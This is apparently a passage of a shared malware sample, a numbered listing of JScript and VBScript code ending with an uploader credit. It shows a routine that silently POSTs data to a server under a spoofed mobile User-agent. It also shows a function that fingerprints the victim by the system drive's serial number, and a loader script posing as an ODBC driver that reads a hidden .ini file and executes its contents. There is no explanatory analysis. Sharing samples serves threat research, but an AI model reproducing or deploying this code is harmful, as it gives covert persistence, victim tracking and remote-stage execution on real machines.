| 1118 | httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
| |
| 1119 | httpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
| |
| 1120 | httpReq.send(entry + "=" + value); | |
| 1121 | } catch (e) {}
| |
| 1122 | } | |
| 1123 | ||
| 1124 | function split(str, separator, limit) {
| |
| 1125 | str = str.split(separator); | |
| 1126 | if(str.length <= limit) return str; | |
| 1127 | ||
| 1128 | var ret = str.splice(0, limit); | |
| 1129 | ret.push(str.join(separator)); | |
| 1130 | ||
| 1131 | return ret; | |
| 1132 | } | |
| 1133 | ||
| 1134 | function CUID(){
| |
| 1135 | var sn = "1"; | |
| 1136 | try {
| |
| 1137 | var FSO = WScript.CreateObject("Scripting.FileSystemObject");
| |
| 1138 | var strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0)); | |
| 1139 | var D = FSO.GetDrive(strDrive); | |
| 1140 | sn = D.SerialNumber; | |
| 1141 | } catch (e) {}
| |
| 1142 | var result = Base64.encode(sn.toString()); | |
| 1143 | result = result.replace(/[^\w]+/g, "").slice(0, 20); | |
| 1144 | result = uuid+"."+giac+"."+result; | |
| 1145 | return result; | |
| 1146 | } | |
| 1147 | ==== LanCradDriver.vbs ==================================================================== | |
| 1148 | ||
| 1149 | Dim objFSO, objShell, strFile, ReadAllTextFile | |
| 1150 | Set objFSO = CreateObject("Scripting.FileSystemObject")
| |
| 1151 | Set objShell = WScript.CreateObject( "WScript.Shell" ) | |
| 1152 | strFile = objShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\TransbaseOdbcDriver\LanCradDriver.ini")
| |
| 1153 | Set objFile = objFSO.OpenTextFile(strFile,1,false,-1) | |
| 1154 | If objFile.AtEndOfStream Then | |
| 1155 | ReadAllTextFile = "" | |
| 1156 | Else | |
| 1157 | ReadAllTextFile = objFile.ReadAll | |
| 1158 | End If | |
| 1159 | objFile.Close | |
| 1160 | ExecuteGlobal ReadAllTextFile | |
| 1161 | ||
| 1162 | ||
| 1163 | ## uploaded by @JohnLaTwc |